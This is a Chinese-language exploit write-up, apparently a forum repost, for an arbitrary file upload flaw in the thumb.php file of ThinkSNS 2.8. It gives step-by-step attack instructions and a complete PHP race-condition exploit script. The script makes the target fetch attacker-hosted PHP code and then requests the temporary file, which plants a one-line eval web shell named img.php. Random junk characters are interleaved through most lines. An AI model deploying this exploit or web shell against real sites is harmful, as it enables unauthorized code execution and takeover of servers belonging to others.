漏洞版本
; X* G+ r+ ~( G/ `4 Q* O# J3 g存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)1 t8 [0 x: D, q& N. p, B, ?
漏洞文件
0 W8 U9 _+ Z" n0 I# [存在漏洞的文件为:thumb.php
! {6 C' K( f2 r+ F/ y: ~# t作者:韦鲲鹏
; K# Q. x5 Q- Q9 ~) ^3 E1、 准备如下PHP文件并上传到服务器(自己的)。
@. j6 P5 T4 f# f文件内容如下:& B$ ^ q5 m7 c2 ]) d
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>4 Q, q; _3 f' d# v- Y# T3 @
2、 计算出临时的文件名:
$ I# r% F" I: r8 P; p ~$ r这里我们可以看文件的99行(刚刚是不是没注意呀!)。
9 I3 [$ R; Z: T$ y* P3 D1 |: T* k6 i% X; u/ Z! v
3、 上传临时文件。% \" I Q1 d2 K2 U' N# ?: O+ q
4、 访问临时文件。
8 o7 H; t* ?3 C+ |8 J. ?但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
1 _" u) N. ?% z' ^0 j8 N) EExploit文件内容如下:(这个我就不详细解释了)
' e; V- F+ c0 V1 y9 ^<?php! ?4 ~( I% u/ C# x. P
error_reporting(0);6 n4 }! j7 O, V0 p- I3 \' @
set_time_limit(0);, |" H9 O, @4 d
ini_set(“default_socket_timeout”, 5);
! U( k+ ~* B7 x9 ?0 G% Sfunction http_send($host, $port, $headers) {) I9 r2 F/ K3 c7 V. B0 [# ~
$fp = fsockopen($host, $port);% Q: o, F3 ] P. V/ U# T7 \- P
if (!$fp) die(‘Connection -> fail’);
~% I+ |3 O& e, w1 dfputs($fp, $headers);# d7 ?- b9 |# \' G2 d
return $fp;
( b% _+ s" p- R9 [- R}% E [0 z6 @7 ~ ]- w
function http_recv($fp) {/ }7 X: \' }7 w3 q% `
$ret=”";" M4 j/ m% Z ^6 V- u
while (!feof($fp))
$ S1 O: C$ h6 x1 K* M$ret.= fgets($fp, 1024);
% f- m/ z; Q; g7 G: ^. Mfclose($fp);
* B9 X! s" J% C- M; }return $ret;+ S3 `) s6 v) x( P, T
}' r4 l* P/ `+ ~% \. V
print “\n# ThinkSns Arbitrary File Upload #\n”;
7 C3 @* w0 q" L/ v. L6 qprint “# Discovered by 韦鲲鹏 #\n\n”;
/ K4 c8 c7 v! K# D$ Eif ($argc < 4) {
$ [7 v$ p; N7 l/ @print “Usage: php <host> <path> <romote_url>\n”;8 v4 m6 o5 ^- S' q E
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
7 D/ G& _! W6 n# p& P% P' O6 y2 o9 udie();
7 w) X2 C S1 l/ f& j- Q' H}
, x' O4 v/ h$ a7 H$host = $argv[1];9 r p- ?6 O5 s# Q1 Q0 H U7 J
$path = $argv[2];
3 N8 h& | r: O8 t. Y. v+ f$url = $argv[3];
; Z6 r$ O! o+ E$ }$i=0;
% u7 l0 X( r5 t9 v6 \: [9 g! w s//上传数据包, R& ^3 Z4 D3 l! B# O R
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
7 i! ?4 R, C8 n6 u+ M8 @$headers_up .= “Host: “.$host.”\r\n”;/ _9 ~( u7 x; n: h( U( Z
$headers_up .= “Connection: close\r\n\r\n”;
% b2 A& D$ @- W1 ]' S5 ]2 Wecho $headers_up;5 T0 s2 x2 B8 z2 {. D
//临时文件访问数据包
, p/ o8 p: X! l& T- n' l5 D) k& H$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
' `, l/ @/ w5 D$ B0 C$headers .= “Host: “.$host.”\r\n”;" _ [5 k) \, {# {
$headers .= “Connection: close\r\n\r\n”;
% T- H6 g: w1 a9 hecho $headers;8 q1 w( ^( H/ g _
while(++$i<10) {
6 ], m1 Y; w* n& p# O, o9 {3 P8 Cfclose(http_send($host, 80, $headers));
/ l. q: T1 N' G B5 t: k}
* n f7 g- |2 d. d* C6 Qfclose(http_send($host, 80, $headers_up));
- S7 M j5 X$ v/ X) I1 [$ u3 r& L9 Lwhile(++$i<50) {
" a% Q! L5 U" G" a5 W; _- Hfclose(http_send($host, 80, $headers));
) e6 B+ b6 C3 R9 p* b. \}
+ [& L; a; X* M( z$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
# q" l& {2 t+ M% v3 t$headers .= “Host: “.$host.”\r\n”;
: a$ C6 j8 ^ ~# Y/ {$ ?6 G$headers .= “Connection: close\r\n\r\n”;
: {6 m( H8 j$ L8 r' u$res=http_recv(http_send($host, 80, $headers));
, Y5 b9 A" I% z0 P. Gif(preg_match(‘/200 OK/’,$res)) {
" g0 \+ O' O" eprint “Success!\n\n”;( z8 P, [ R; N: y/ R
} else {
- R, M/ Q( [ f$ F6 x$ j p% B8 wprint “Fail!\n\n”;
. Z3 F) i+ I, k5 ?# y- _}7 A m4 G4 I; |' q( p
?> i1 x( \/ x" m z4 U) F' a
|